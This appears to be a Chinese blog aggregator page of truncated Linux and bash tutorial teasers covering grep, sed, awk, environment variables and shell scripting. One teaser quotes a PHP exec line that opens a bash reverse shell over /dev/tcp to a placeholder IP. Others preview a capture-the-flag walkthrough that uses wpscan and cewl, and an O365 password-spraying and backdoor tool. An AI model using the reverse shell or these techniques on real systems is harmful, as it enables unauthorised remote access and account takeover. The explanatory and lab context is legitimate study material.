目 录 一、Linux运行很久&#xff0c;发现磁盘空间不足 二、找到原因&#xff0c;是日志文件积累太多 三、编写脚本&#xff0c;删除以前的日志文件 一、Linux运行很久&#xff0c;发现磁盘空间不足 今天发现一个视频平台的服务器运行特别慢&#xff0c;输入命令&…

大数据平台Bug Bash大扫除最佳实践

一、背景 随着越来越多的"新人"在日常工作以及大促备战中担当大任&#xff0c;我们发现仅了解自身系统业务已不能满足日常系统开发运维需求。为此&#xff0c;大数据平台部门组织了一次Bug Bash活动&#xff0c;既能提升自己对兄弟产品的理解和使用&#xff0c;又能…

grep笔记240103

常用选项&#xff1a;&#xff1a; -i&#xff1a;忽略大小写进行匹配。 -v&#xff1a;反向匹配&#xff0c;只打印不匹配的行。 -n&#xff1a;显示匹配行的行号。 -r&#xff1a;递归查找子目录中的文件。 -l&#xff1a;只打印匹配的文件名。 -c&#xff1a;只打印匹配的行…

Linux笔记之expect和bash脚本监听输出并在匹配到指定字符串时发送中断信号

Linux笔记之expect和bash脚本监听输出并在匹配到指定字符串时发送中断信号 code review! 文章目录 Linux笔记之expect和bash脚本监听输出并在匹配到指定字符串时发送中断信号1.expect2.bash 1.expect 在Expect脚本中&#xff0c;你可以使用expect来监听程序输出&#xff0c;…

Linux 命令行的世界 :1.什么是shell

shell 是一个程序&#xff0c;它接受从键盘输入的命令&#xff0c;然后把命令传递给操作系统去执行。几乎所有的 Linux 发行版都提供一个名为 bash 的来自GNU项目的 shell 程序。现在来启动终端仿真器吧&#xff0c;一旦它运行起来&#xff0c;我们应该看到一行像这样的文字&am…

【麒麟V10系统x86环境--bash: ./install:/bin/bash:解释器错误: 权限不够】

不知道那位大拿分享的这个神操作、给力呀 标题-bash: ./install&#xff1a;/bin/bash&#xff1a;解释器错误: 权限不够 执行这个命令即可&#xff1b;sudo setstatus Softmode

变分自动编码器【03/3】:使用 Docker 和 Bash 脚本进行超参数调整

一、说明 在深入研究第 1 部分中的介绍和实现&#xff0c;并在第 2 部分中探索训练过程之后&#xff0c;我们现在将重点转向在第 3 部分中通过超参数调整来优化模型的性能。要访问本系列的完整代码&#xff0c;请访问我们的 GitHub 存储库在GitHub - asokraju/ImageAutoEncoder…

Bash 脚本学习

文章目录 1、脚本编程基础2. 变量2.1 参数变量的引用2.2 环境变量 3 条件判断语句3.1 if 语句3.1.1 语法3.1.2 案例 3.2 case 语句3.2.1 语法3.2.2 案例 3.3 判断参数说明 4 循环语句4.1 for 循环4.1.1 语法4.1.2 案例 4.2 while循环4.2.1 语法4.2.2 案例4. 3 循环总结 5. 函数…

Shell脚本编程:结构化命令1

参考书目&#xff1a;《Linux命令行与shell脚本编程大全》 文章内容如下&#xff1a; 使用 if-then 语句 嵌套 if 语句 test 命令 复合条件测试 使用双方括号和双括号 case 命令 文章目录 1、if-then 语句2、if-then-else 语句 1、if-then 语句 在shell语言中&#xff0c;最基…

Linux下Python脚本的编写解析fio(minimal格式)(三)

在服务器测试(storage)过程中&#xff0c;会看到很多人写跑fio的脚本用minimal格式来解析&#xff0c;因为这种格式返回的结果对与脚本(shell,python)解析log非常方便.下面介绍一下这种方式下,用Python来解析log 1 一般客户会要求结果中出现一下参数的值&#xff1a; bandwidth…

帮助指令 man ,help及文档常用管理指令

帮助指令 man&#xff0c;help 1. man 当我们想要了解某个命令如何使用&#xff0c;及选项的含义是什么以及配置文件的帮助信息时&#xff0c;可以使用 man [命令或配置文件]&#xff0c;这样便可以获得到帮助提示信息了。 语法格式&#xff1a;man [命令或者配置文件] 比如…

linux shell 入门学习笔记2shell脚本

什么是shell脚本 当命令或者程序语句写在文件中&#xff0c;我们执行文件&#xff0c;读取其中的代码&#xff0c;这个程序就称之为shell脚本。 有了shell脚本肯定是要有对应的解释器了&#xff0c;常见的shell脚本解释器有sh、python、perl、tcl、php、ruby等。一般这种使用文…

Shell Tools of Missing Semester(二)

Shell tools shell 脚本 Bash中的字符串通过 和 " 分隔符来定义&#xff0c;但是它们的含义并不相同。以 定义的字符串为原义字符串&#xff0c;其中的变量不会被转义&#xff0c;而 " 定义的字符串会将变量值进行替换。 foobar echo "$foo" # 打印 b…

Shell三剑客:awk(模式(正则表达式)和动作)

一、运算符 - * / % ^ ** 赋值 ?: C条件表达式 || 逻辑或 && 逻辑与 ~ 和 !~ 匹配正则表达式和不匹配正则表达式 < < > > ! 关系运算符 空格 连接 - 加&#xff0c;减 * / % 乘&#xff0c;除与求余 - ! 一元加&#xff0c;减和逻辑非 ^ *…

2024年Ubuntu18.04执行do-release-upgrade报错的解决方案

2024年Ubuntu18.04执行do-release-upgrade报错的解决方案 背景报错情况解决方法先升级可用的软件包执行 do-release-upgrade方法一&#xff1a;直接执行 github 上写好的脚本方法二&#xff1a;手动执行 还原配置 背景 公司用的信服云&#xff0c;公共镜像中最新的Ubuntu镜像是…

Linux Shell 001-Bash简介

Linux Shell 001-Bash简介 本节关键字&#xff1a;Linux、Bash Shell、shell分类 相关指令&#xff1a;bash、sh、cat Shell的介绍 计算机只能认识&#xff08;识别&#xff09;机器语言(0和1)&#xff0c;如&#xff08;11000000 这种&#xff09;。但是&#xff0c;我们的…

深度学习烦人的基础知识(1)---@在bash中的作用---positional parameter详解

文章目录 序Positional parameter练习题 Special parameter练习题 序 深度学习&#xff0c;反展到现在&#xff0c;真的是要融会贯通很多东西。遇到便补吧&#xff01; 想直接知晓答案的&#xff0c;请到最后一个练习题&#xff0c;想补基础知识的&#xff0c;请按照顺序阅读…

“家庭记账神器 - 记录收支明细,轻松管理家庭财务“

你是否经常因为家庭开销的琐碎而感到困扰&#xff0c;不知道如何记录收支明细&#xff0c;让家庭财务更加清晰&#xff1f;现在&#xff0c;有了我们的家庭记账神器&#xff0c;这些烦恼全部消失&#xff01;无论你是在处理日常开销、规划家庭预算还是整理财务数据&#xff0c;…

Linux Shell 002-基础知识

Linux Shell 002-基础知识 本节关键字&#xff1a;Linux、Bash Shell、基础知识、Bash特性 相关指令&#xff1a;bash、rm、cp、touch、date 基础知识 什么是Shell脚本 简单概括&#xff1a;将需要执行的命令保存到文本中&#xff0c;按照顺序执行。 准备描述&#xff1a;sh…

Shell脚本-bin/bash: 解释器错误: 没有那个文件或目录-完整路径执行-“/”引发的脑裂

引起该不适的一种可能以及解决方案&#xff0c;网上较多&#xff0c;比如&#xff1a; 但按以上方式操作&#xff0c;并经过查看&#xff0c;发现仍然未能解决问题。 因为两种方式执行&#xff0c;有一种能成功&#xff0c;有一种不能&#xff0c;刚开始未怀疑是文件问题&…

shell打印粉色小心心、颜文字心心

#!/bin/bash # *********************************************************# # # # * Author : 白嫖一茶 # # * QQ邮箱址 : 2534824121qq.com # #…

【linux】cut的基本使用

cut主要用于按列切分文本行&#xff0c;并输出指定的字段&#xff0c;这是类unix系统中常用的文本处理工具。 基本使用 首先随便去网上找个文本或者列表文件 如果使用cat看文本的话就是这样的 sh-3.2# cat data.csv Name,Age,City,Salary Alice,30,New York,70000 Bob,25,L…

grep的 -e和-E的区别

grep的 -e和-E的区别 -e和-E可以一起用,功能没有对立性,没法区别, 应该是有无-E的区别 -e 后接脚本, 可以有多个, 相当于并集 -E 表示使用扩展正则, 当腰使用多个表达式的扩展正则时, 不是写多个-E, 而是多个-e一个-E 例如列出 grep --help 中,匹配到"A",或匹配…

Linux Shell 019-文本行处理工具sed

Linux Shell 019-文本行处理工具sed 本节关键字&#xff1a;Linux、Bash Shell、文本行处理工具 相关指令&#xff1a;sed、 sed介绍 sed是Stream Editor&#xff08;流编辑器&#xff09;的缩写&#xff0c;简称流编辑器&#xff1b;用来处理文件的。sed是一行一行读取文件…

置顶> 个人学习记录一览

个人学习记录一览表 写个说明   知识学的好&#xff0c;不如笔记记得好&#xff0c;知识点的遗忘在所难免&#xff0c;这里记录我个人的学习过程&#xff0c;以备后面二次学习使用。 Linux 操作系统 Linux 操作系统 001-介绍 Linux 操作系统 002-VMware Workstation的相关操…

程序媛的mac修炼手册-- 终端shell的驾驭 zsh vs bash

进入终端(Terminal)为新下载的应用配置环境&#xff0c;是Mac生产力up up的关键一步&#xff0c;更是编程小白装大神的第一步。Fake it till you make it , 硅谷大神标准路径&#xff5e; shell的基本原理 为应用配置环境&#xff0c;相当于在应用和操作系统间架桥。由此&…

linux、windows命令行设置环境变量(增删改查)

linux、windows命令行设置环境变量&#xff08;增删改查&#xff09;1、 windows下设置环境变量1.1 环境变量优先级1.2 查看环境变量1.3 设置或修改环境变量1.4 删除环境变量1.5 给系统变量追加内容2、 linux下设置环境变量2.1 查看环境变量2.2 设置环境变量2.3 删除环境变量2.…

Linux系统——bash配置文件

打开操作系统一定会读取下面四个配置文件 ~/.bashrc~/bash_profile/etc/profile/etc/profile.d/*.sh ~/.bashrc 和 ~/bash_profile 是对当前用户生效&#xff1b; /etc/profile 和 /etc/profile.d/*.sh是对所有用户生效&#xff1b; 任何可执行的命令都可以写在这四个配置…

Git 教程 | 将本地修改后的文件推送到 Github 指定远程分支上

Git 是一种分布式版本控制系统&#xff0c;用于敏捷高效地处理任何大小的项目。它是由 Linus Torvalds 为了帮助管理 Linux 内核开发而开发的开源版本控制软件。Git 的本地克隆就是一个完整的版本控制存储库&#xff0c;无论脱机还是远程都能轻松工作。开发人员会在本地提交其工…

bash 5.2中文修订5

Grouping Commands 命令分组 Bash 提供两种方法将要执行的命令列表分组为一个单元。当命令被分组时&#xff0c;重定向可以应用于整个命令列表。例如&#xff0c;列表中所有命令的输出可以被重定向到单个流。 () 圆括号命令分组 ( list ) 将命令列表放在括号之间会强制 she…

方案:系统关闭时通过命令行创建support zip

文章目录 Environment and requirementsScript:JiraConfluence其他注意事项Environment and requirements The solution runs in Linux based Operating System with: /bin/bashzip and/or gzip applicationsTo run in Windows the OS might have: PowershellScript: Jira …

Linux笔记之bash和expect脚本中的$和$argv参数匹配

Linux笔记之bash和expect脚本中的 和 和 和argv参数匹配 —— 杭州 2024-02-03 code review! 文章目录 Linux笔记之bash和expect脚本中的 和 和 和argv参数匹配1.bash脚本2.expect脚本 1.bash脚本 在Linux的bash脚本中&#xff0c;参数和脚本文件名的变量使用方式与你提供的稍…

【shell】Shell学习后篇

Linux 常用 Shell 文章目录 Linux 常用 ShellBanner设置字体颜色设置提示操作系统操作系统版本号系统处理器架构关闭防火墙和SELinux系统操作防火墙相关获取当前目录判断文件是否存在判断目录是否存在后台挂起静默执行判断之前的命令是否成功 Banner 设置字体颜色 RED\033[31…

windows 中, bash: conda: command not found(已解决)

git bash 中运行conda命令&#xff0c;出现这种错误&#xff0c;原因是你没有在git bash中 配置conda&#xff0c;导致git bash无法找到conda 那就配置一下&#xff0c;找到你的conda的安装位置下的bash.sh文件&#xff0c;一般在安装位置&#xff08;我的安装在C盘的自定义路径…

bash快捷指令

简介 命令行交互式是基于GNU Readline library 实现的; 这个库GNU维护, 也被其他很多软件使用; 介绍了命令行的快捷操作; 官方參考鏈接 说明 介绍GNU命令行模式下的一些基本特性; **bash的命令行交互模块是基于公共模块GNU Readline library实现的, 基于GNU ReadLine librar…

DC:2靶机 通关详解

信息收集 开放80端口 访问看看 发现访问不了,回去看了一眼介绍 要手动改一下hosts 现在可以正常访问了 直接拿到flag1 在网站最后发现是wordpress的站点 wpscan开扫 版本4.7.10 存在很多漏洞 再扫个路径看看 这里能到后台 结合flag1所说的,常规字典不好使了,可能需要cewl…

Linux命令运行原理shell和bash

目录前言什么是shell,什么是bash?ls -l 执行过程前言 学习操作系统的过程中我们经常在自己的shell中执行一些Linux命令&#xff0c;那么当我们输入一个类似于 ls -a 这样的命令式&#xff0c;发生了什么&#xff1f; 换句话说&#xff0c;从我们在shell中输入ls -a 按下回车…

git bash:ls查看文件颜色全部为白色的解决方法(已解决)

方法一&#xff1a; 修改~/.bashrc文件或者~/.profile文件&#xff0c;添加如下内容 alias lsls --colorauto 然后 source一下&#xff0c;让修改配置生效 source ~/.profile 然后再ls OK了

Shell编程--正则表达式(基本/拓展元字符、正则判断)

正则表达式 1.基本元字符2.拓展元字符3.正则判断~ 1.基本元字符 字符功能示例^行首定位符^love$行尾定位符love$.匹配单个字符l…e*匹配前导符0到多次ab*love.*匹配任意多个字符&#xff08;贪婪匹配&#xff09;ab.*love[]匹配方括号中任意一个字符[lL]ove[-]匹配指定范围内的…

ZooKeeper 实战(二) 命令行操作篇

文章目录 ZooKeeper 实战(二) 命令行操作篇1. 服务端命令1.1. 服务启动1.2. 查看服务1.3. 重启服务1.4. 停止服务 2. 客户端命令2.1. 启动客户端2.2. 查看节点信息查看根节点详情 ls -s /添加一个watch监视器 ls -w /列举出节点的级联节点 ls -R / 2.3. 查看节点状态2.4. 创建节…

Shell面试题总结

记录一下&#xff0c;面试背问到的shell的相关面试题。 1.shell中的加法实现方式 这里写三种方式拿53举例 result$((53)) resultexpr 53 resultecho 53 |bc2.shell判断文件是否存在的方式 也是三种 使用test命令 if test -f 文件路径;thenecho "文件存在" else…

Linux文本处理指令wc-man帮助手册

Linux文本处理指令wc-man帮助手册 WC(1) User Commands WC(1)NAMEwc - print newline, word, and byte counts for each fileSYNOPSISwc [OPTION]... [FILE]...wc [OPTION]... --files0-fromFDESCRIPTION…

bash 5.2中文修订2

第三部分 shell基本功能 Bash 是’Bourne-Again SHell’的缩写。Bourne shell 是传统的 Unix shell&#xff0c;最初由 Stephen Bourne 编写。所有 Bourne shell 内置命令都可以在 Bash 中使用&#xff0c;但是求值和引用的规则取自“标准”Unix shell 的 POSIX 规范。 本章简…

Shell脚本从入门到实战

Shell 文章目录Shellshell概述Shell脚本入门1. 脚本格式2. 第一个Shell脚本:helloworld3. 第二个Shell脚本&#xff1a;多命令处理Shell中的变量系统变量1. 常用系统变量2. 案例实操自定义变量1. 基本语法2. 变量定义规则特殊变量&#xff1a;$n特殊变量&#xff1a;$#特殊变量…

【Shell】Shell变量

Shell变量系统预定义变量自定义变量基本语法定义变量撤销变量命名规则使用变量只读变量删除变量变量类型系统预定义变量 $HOME、$PWD、$SHELL、$SUSER等 实例 yysubuntu:~$ echo $HOME #查看系统变量的值 /home/yys yysubuntu:~$ set #显示当前shell中所有变量自定义变量…

Ununtu环境下的判断字符串相等出现sh: xxx: [: xxx: unexpected operator的问题

文章目录前言现场还原总结前言 这是个小问题&#xff0c;本质原因是判断字符相等使用两个 需要在 bash 环境下&#xff0c;而Ubuntu默认不是这个Shell环境&#xff0c;所以就会出现在 CentOS 上运行的好好的Shell&#xff0c;放到Ubuntu上就运行出错的问题&#xff0c;我遇到…

shell 脚本expect

expect 是什么 expect - programmed dialogue with interactive programs&#xff08;与互动程序进行程序对话&#xff09; 定义脚本执行的 shell #!/usr/bin/expect -f 定义的是执行 expect 可执行文件的链接路径&#xff08;或真实路径&#xff09;&#xff0c;功能类似于bas…

Lua - windows 中执行乱码(cmd、bash、vscode)

通过 vscode 编译 a.lua 文件&#xff0c;通过 cmd 和 bash 执行 lua 来运行脚本&#xff0c;结果如下&#xff1b; C:\Users\lawsssscat\temp>more a.lua print("hh浣犲ソ")C:\Users\lawsssscat\temp>lua a.lua hh浣犲ソC:\Users\lawsssscat\temp>bashlaw…

【shell 编程大全】脚本交互 以及表达式

脚本交互 以及表达式 1. 概述 嗨&#xff0c;我又来继续分享了。今天分享的内容是脚本交互&#xff0c;再开始接下来的分享开始之前&#xff0c;让我们来回顾下上一次(【shell 编程大全】内容格式化以及多样化输出)的内容&#xff1a; 内容格式化 重定向管道符后台执行信息符号…

mac 如何设置 oh my zsh 终端terminal 和添加主题powerlevel10k

Oh My Zsh 是什么 Oh My Zsh 是一款社区驱动的命令行工具&#xff0c;正如它的主页上说的&#xff0c;Oh My Zsh 是一种生活方式。它基于 zsh 命令行&#xff0c;提供了主题配置&#xff0c;插件机制&#xff0c;已经内置的便捷操作。给我们一种全新的方式使用命令行。 **Oh …

【Linux内核】内核编程概述

1.GNU GNU计划和自由软件基金会&#xff08;FSF&#xff09;是由Richard M.Stallman于1984年创办的&#xff0c;GNU是“GNU’s Not UNIX”的缩写。到20世纪90年代初&#xff0c;GNU项目已经开发出许多高质量的免费软件&#xff0c;其中包括emacs编辑系统、bash shell程序、gcc…

【数据库迁移系列】从MySQL到openGauss的数据库对象迁移实践

在之前这一篇中我们分享过使用chameleon工具完成MySQL到openGauss的全量数据复制、实时在线复制。9.30新发布的openGauss 3.1.0版本 &#xff0c;工具的全量迁移和增量迁移的性能不但有了全面提升&#xff0c;而且支持数据库对象视图、触发器、自定义函数、存储过程的迁移。 …

初识Shell脚本

1.1 什么是Shell脚本 通俗讲&#xff0c;Shell脚本就是包含一系列命令的文件。Shell读取该文件并执行其中的命令。Shell的独特之处在u它既是系统强大的命令行接口&#xff0c;又是脚本语言解释器。命令行中完成的大部分事情&#xff0c;脚本中都可以搞定。 1.2 创建并执行She…

【linux】shell脚本 循环 echo输入输出 函数 shell调试

1.循环 for/do/done shell脚本的for循环结构和C语言不一样&#xff0c;它类似于某些编程语的foreach循环。 #!/bin/bash for FRUIT in apple banana pear; doecho "I like $FRUIT" doneFRUIT&#xff08;可自定义变量&#xff09;是一个循环变量&#xff0c;第一次循…

解决Mac终端启动每次都要source ~/.bash_profile才能使adb生效的问题

今天想通过adb命令查看手机运行时的一些信息&#xff0c;在macOS下&#xff0c;打开终端后输入adb 出现 zsh: command not found: adb。但是在之前已经配置好环境变量了&#xff0c;我的配置如下&#xff1a; 但是在终端中使用adb命令每次都需要source .bash_profile之后就可以…

Linux环境ENV的概念

一、基本概念 环境变量的含义&#xff1a;程序&#xff08;操作系统命令和应用程序&#xff09;的执行都需要运行环境&#xff0c;这个环境是由多个环境变量组成的。 按变量的周期划为永久变量和临时性变量2种&#xff1a; 永久变量&#xff1a;通过修改配置文件&#xff0c…

Shell编程从看懂到看开③(函数、echo、printf、test)

文章目录函数自定义函数函数参数系统函数basenamedirnameShell echo 命令Shell printf 命令Shell test 命令数值测试字符串测试文件测试函数 自定义函数 linux shell 可以用户定义函数&#xff0c;然后在shell脚本中可以随便调用。 shell中函数的定义格式如下&#xff1a; …

bash shell 初体验-尚文网络xUP楠哥

~~全文共1139字&#xff0c;阅读需约5分钟。 进Q群11372462&#xff0c;领取专属报名福利&#xff0c;包含云计算学习路线图代表性实战训练大厂云计算面试题资料! # bash shell 简介 我们在操作Linux系统时&#xff0c;绝大部分情况是通过命令行的方式输入指令&#xff0c;Li…

Shell脚本编写

1 入门 1.1 脚本格式 脚本以#!/bin/bash开头&#xff08;指定bash解析器&#xff09; 1.2 helloworld案例 # 创建脚本helloworld.sh:调用时打印hello world [azulalocalhost datas]$ cat helloworld.sh #!/bin/bash echo "hello world"# 执行脚本方式1 [azulalo…

C语言基础 — ( 顺序程序设计[ 运算符、表达式 ] )

欢迎小伙伴的点评✨✨ 本篇章系列是对C语言的深度思考和总结、关于C语言内容会持续更新。 文章目录前言一、C运算符1.1、算数运算符1.2、关系运算符1.3、逻辑运算符1.4、位运算符1.5、赋值运算符1.6、条件运算、指针运算、字节运算1.7、C中的运算优先级二、不同类型数据间的混合…

curl命令——文件传输工具

curl命令是英文词组"CommandLine URL"的缩写&#xff0c;是在Shell终端基于URL规则进行文件传输的工作&#xff0c;包括文件上传和下载&#xff0c;支持的协议包括HTTP、HTTPS和FTP等三十余种常见协议。 curl命令的语法格式如下&#xff1a; curl [选项] 网址 常用…

Shell 基本运算符

Shell 和其他编程语言一样&#xff0c;支持多种运算符&#xff0c;包括&#xff1a; 算数运算符关系运算符布尔运算符字符串运算符文件测试运算符 原生bash不支持简单的数学运算&#xff0c;但是可以通过其他命令来实现&#xff0c;例如 awk 和 expr&#xff0c;expr 最常用。…

linux命令反混淆沙箱小记

很久没写点东西了&#xff0c;今天就最近研究的混淆对抗记录下思考过程谈起linux命令混淆&#xff0c;就不得不提强大的bash -x命令&#xff0c;他会把执行的sh脚本命令都打印出来&#xff0c;这里就不再累赘&#xff0c;细节可以参考qiye大佬的文章-linux命令反混淆-忙里偷闲。…

linux基本功系列之alias命令实战

本文目录 文章目录前言&#x1f680;&#x1f680;&#x1f680;一. alias命令介绍二. 语法格式及常用选项三. 参考案例3.1 查看系统已经存在的别名3.2 设置别名的操作3.3 取消别名3.4 alias的全局生效和当前用户生效四. 使用命令的注意事项总结前言&#x1f680;&#x1f680;…

<Linux>环境变量

环境变量 文章目录环境变量一、基本概念二、常见环境变量三、查看环境变量的方法四、测试PATH五、测试HOME六、测试SHELL七、环境变量相关的命令八、环境变量的组织方式九、命令行参数十、通过代码获得环境变量十一、通过系统调用获取环境变量十二、环境变量通常是具有全局属性…

【Shell】测试脚本

FC600测试脚本测试脚本脚本格式二级目录第一个Shell脚本执行方式1. bash或sh脚本的相对路径或绝对路径2. 输入脚本的绝对路径或相对路径3.测试脚本 #!/bin/bash #运行脚本会列出which命令查不到的命令工具MISS信息varPathCur$(cd dirname $0; pwd)declare -i varError_busybox…

linux基本功系列-top命令实战

文章目录一. top命令介绍二. 语法格式及常用选项三. 参考案例3.1 显示进程信息3.2 显示完整的进程命令3.3 以批处理的形式展示3.4 设置信息更新频次3.5 显示指定进程号的信息3.6 top面板中常用参数3.7 其他用法四. top的相关说明4.1 交互命令介绍4.2 top面板每行信息的含义4.2.…

shell编程基础

1.编写shell脚本的步骤 1.创建.sh文件&#xff0c;如myscript.sh。第一行中指定脚本应使用的shell。 #! /bin/bash2.编写shell命令&#xff0c;每个命令占用一行。保存并退出。 3.将脚本文件设置为可执行文件。 chmod x myscript.sh4.运行脚本文件。 ./myscript.sh例&#…

linux centos7 查看端口占用命令netstat 报错提示 –bash:netstat:未找到命令解决方法

今天在一台centos7上用netstat命令看端口占用情况&#xff0c;提示 –bash:netstat:未找到命令&#xff1a; 解决方法&#xff1a; 输入 yum search ifconfig 查看这个命令是在 net-tools.x86_64里的&#xff1a; 然后安装这个包&#xff0c;输入 yum install net-tools 安装&…

shell脚本(语法)

一、什么是shell脚本 1.1、shell 的两层含义&#xff1a;既是一种应用程序,又是一种程序设计语言 1.1.1、shell是一种应用程序 交互式地解释、执行用户输入的命令&#xff0c;将用户的操作翻译成机器可以识别的语言&#xff0c;完成相应功能称之为 shell 命令解析器。 shell 是…

为什么bitnami 安装的软件进入容器,用户名都是I have no name

文章目录背景原因user 参数的缺陷一### user 参数的缺陷二Docker 官方的解决方案背景 在bitnami 安装的软件进入容器用户名都显示I have no name&#xff0c;这是什么原因呢&#xff1f; 原因 在k8中容器默认好像是以uid1001启动的&#xff0c;可以修改该uid docker 启动的时…

shell常见面试题三

&#xff08;16&#xff09;、read读取终端输入 &#xff08;17&#xff09;、unset 取消变量和变量赋值 &#xff08;18&#xff09;、算术运算 expr、$[]、$(()) $()和 &#xff1a; 在 bash shell 中&#xff0c;$( ) 与 (反引号) 都是用来做命令替换用(commandsubstitu…

shell函数

文章目录六、函数和数组6.1 函数6.1.1什么是函数6.1.2 函数语法6.1.3 函数的调用6.1.4 函数的返回值6.1.5 函数案例6.1.6 函数库文件6.1.7 递归函数6.2 数组6.2.1 定义数组6.2.2 数组操作6.2.3 数组案例六、函数和数组 6.1 函数 函数几乎是学习所有的程序设计语言时都必须过的…

瀚博半导体载天VA1 加速卡安装过程

背景&#xff1a; 想用 瀚博半导体载天VA1 加速卡 代替 NVIDIA 显卡跑深度学习模型 感谢瀚博的周工帮助解答。 正文&#xff1a; 小心拔出 NVIDIA 显卡&#xff0c;在PCIe 接口插上瀚博半导体载天VA1加速卡&#xff0c;如图&#xff1a; 这时显示屏连接主板的集成显卡 卸载…

基于kubernetes集群分布式部署gpmall Web应用系统

【说明】 gpmall是一个基于SpringBootDubbo构建的开源电商平台&#xff0c;许老师针对在k8s集群部署中出现的一些问题&#xff0c;修复了该项目的部分bug并再次发布到gitee&#xff0c;建议从他的gitee下载学习&#xff0c;gpmall的更多介绍以及源码下载链接为&#xff1a;gpa…

Linux 运维必备 150 个命令汇总

本文章盘点了 Linux 运维必备 150 个命令&#xff0c;可配合网站使用。定位你需要使用的命令&#xff0c;然后去这个网站查询详细用法即可。地址&#xff1a;https://www.linuxcool.com线上查询及帮助命令man&#xff1a;全拼manual&#xff0c;用来查看系统中自带的各种参考手…

TeamFiltration:一款针对O365 AAD账号安全的测试框架

关于TeamFiltration TeamFiltration是一款针对O365 AAD账号安全的跨平台安全测试框架&#xff0c;在该工具的帮助下&#xff0c;广大研究人员可以轻松对O365 AAD账号进行枚举、喷射、过滤和后门植入等操作。TeamFiltering与CrackMapExec非常相似&#xff0c;它可以创建并维护一…

shell 变量替换

替换 格式: ${parameter/pattern/string} ${parameter/pattern/string} ${parameter//pattern/string}说明 pattern的扩展和filename expansion一样; parameter则是直接替换; 并且pattern最长匹配的字符串被替换成string; 即贪婪模式; pattern正则后续介绍; /pattern表示所有…

Python是不是被严重高估了?

Python起源一种shell的脚本语言 &#xff0c;而现在已经发展成最通用的语言之一了&#xff0c;TIOBE指数的数据显示&#xff0c;Python是目前世界上最受欢迎的编程语言。 Python之所以这么受欢迎有很多原因。从Web开发到物联网编程再到AI等各个方面都能用到它。另外Python代码…

Shell中的IFS

IFS是shell的内置变量&#xff0c;IFS是一个字符串&#xff0c;里面的每一个字符都会用来作为分隔符进行单词分割。 IFS变量只在当前shell起作用。 一、对$*的影响 先做参数替换把$*替换成参数列表。相当于args[] 然后下面分两种情况&#xff1a; &#xff08;1&#xff09…

虚拟地址空间

本节目录1.如何理解区域划分2.为什么一个变量可以存储两个不同的值&#xff1f;3.深入理解虚拟地址空间为什么要有地址空间&#xff1f;4.理解什么是挂起&#xff1f;1.虚拟地址空间究竟是什么&#xff1f;2.映射关系的维护是谁做的&#xff1f;1.如何理解区域划分 所谓的区域…

Linux基础命令-groupmems管理组群的成员

Linux-usermod修改用户 Linux-useradd创建用户 Linux-userdel删除用户 Linux基础命令-chown修改文件属主 Linux基础命令-chmod修改文件权限 groupmems 命令介绍 先来看看这个命令的帮助信息是什么概念 NAME groupmems - administer members of a user’s primary group group…

test命令

test命令可在if-then语句中测试不同的条件。如果test命令成立&#xff0c;则其会退出并返回退出状态码0 test命令的格式&#xff1a;test condition 默认不带condition时&#xff0c;则返回非0 test可以测变量是否为空 test命令和测试条件可以判断3类条件 数值比较&#xff0…

Minio 分部署集群搭建

Minio集群搭建 有两台服务器&#xff1a; 192.10.12.14 192.10.12.15在每台服务器上创建minio目录 mkdir -p /data/minio/{run,data1,data2} && mkdir -p /etc/minio下载或者上传下载好的minio二进制文件 官网下载地址&#xff1a; https://dl.min.io/server/minio/r…

Jetson NX Xavier基本配置

Jetson基本配置 对于刚接触Nvidia开发板的同志来说&#xff0c;有很多需要了解的东西&#xff0c;博主根据平时用到的配置&#xff0c;简单做了总结&#xff0c;比较偏向个人化设置&#xff0c;但有些东西都会用到的&#xff0c;例如&#xff1a;安装jtop、设置免密码输入、更…

Supervisor

supervisor启动celery&flower Supervisor是用Python开发的一套通用的进程管理程序&#xff0c;能将一个普通的命令行进程变为系统守护进程daemon&#xff0c;并监控进程状态,异常退出时能自动重启。 pip install supervisor # 注意&#xff1a;如果supervisor是安装在虚拟…

反弹bash shell解释

参考&#xff1a; https://stackoverflow.com/questions/818255/what-does-21-mean/818265#818265你是否使用过类似代码&#xff1a; <?php exec("/bin/bash -c bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1 ") ?>其中 /bin/bash -c bas…

ubuntu22.04@laptop安装配置wfb-ng

ubuntu22.04laptop安装&配置wfb-ng1. 源由2. 安装步骤2.1 下载&安装ubuntu22.04桌面版本2.2 Jammy系统同步更新2.3 基础工具安装2.4 无线工具安装2.5 远程命令行工具安装2.5 wfb-ng编译环境安装2.6 rtl8812au编译环境安装2.7 安装rtl8812au2.8 安装wfb-ng2.9 简易地面端…

Linux 中某个目录中的文件数如何查看?这篇教程分分钟教会你!

如果一个目录中文件数不是很多&#xff0c;那就可以一眼看出其中有多少个文件。但是如果计算子目录在内的文件数呢&#xff1f;或者如果文件数量很多&#xff0c;比如几百上千个&#xff0c;那么怎么确切地知道该目录下的文件数呢&#xff1f; 今天我们总结一下查看 Linux 中目…

make的概念及基本操作快速入门

代码变成可执行文件&#xff0c;叫做 编译&#xff08;compile&#xff09;&#xff1b;先编译这个&#xff0c;还是先编译那个&#xff08;即编译的安排&#xff09;&#xff0c;叫做 构建&#xff08;build&#xff09;。Make是最常用的构建工具&#xff0c;诞生于1977年&…

windows创建的bash脚本在IOS无法执行

windows创建的bash脚本在IOS无法执行 从windows发送bash文件到mac电脑上执行&#xff0c;出现以下报错 Bash syntax error: unexpected end of file 首先需要在MAC上安装dos2unix brew install dos2unix 然后在用dos2unix 将bash文件转换成mac支持的文件 dos2unix test.sh …

Golang 多版本安装小工具G

​ voidint制作的Golang版本安装管理&#xff0c;非常好用。想装就装&#xff0c;想换版本就换版本 除了一些使用go install的场景可能有不兼容&#xff0c;主要是安装了工具有时候不能直接用。 GitHub - voidint/g: Golang Version Manager​​​​​​​ 使用方式很简单&a…

【文件恢复】——linux文件系统

文章目录1.inode & block1.1 inode的内容1.2 inode的号码1.3 inode的大小1.4 inode的特殊作用1.5 实例&#xff1a;模拟inode号被占满1.6 文件存储小结2. 链接文件3.文件恢复3.1 EXT类型文件恢复3.1.1 EXT类型文件恢复步骤3.2 XFS类型文件恢复3.2.1 xfsdump使用限制3.2.2 X…

Linux三剑客——grep命令与正则表达式

Linux 三剑客 grep : 负责过滤&#xff0c;可以对文本、命令结果进行过滤 sed : 流编辑器&#xff0c;文本编辑工具 awk :Linux的文本报告生成器&#xff08;格式化文件&#xff09;&#xff0c;Linux上是gwak(GNU/AWK) &#x1f608; grep命令介绍 Global search REgular …

使用chroot搭建虚拟环境测试

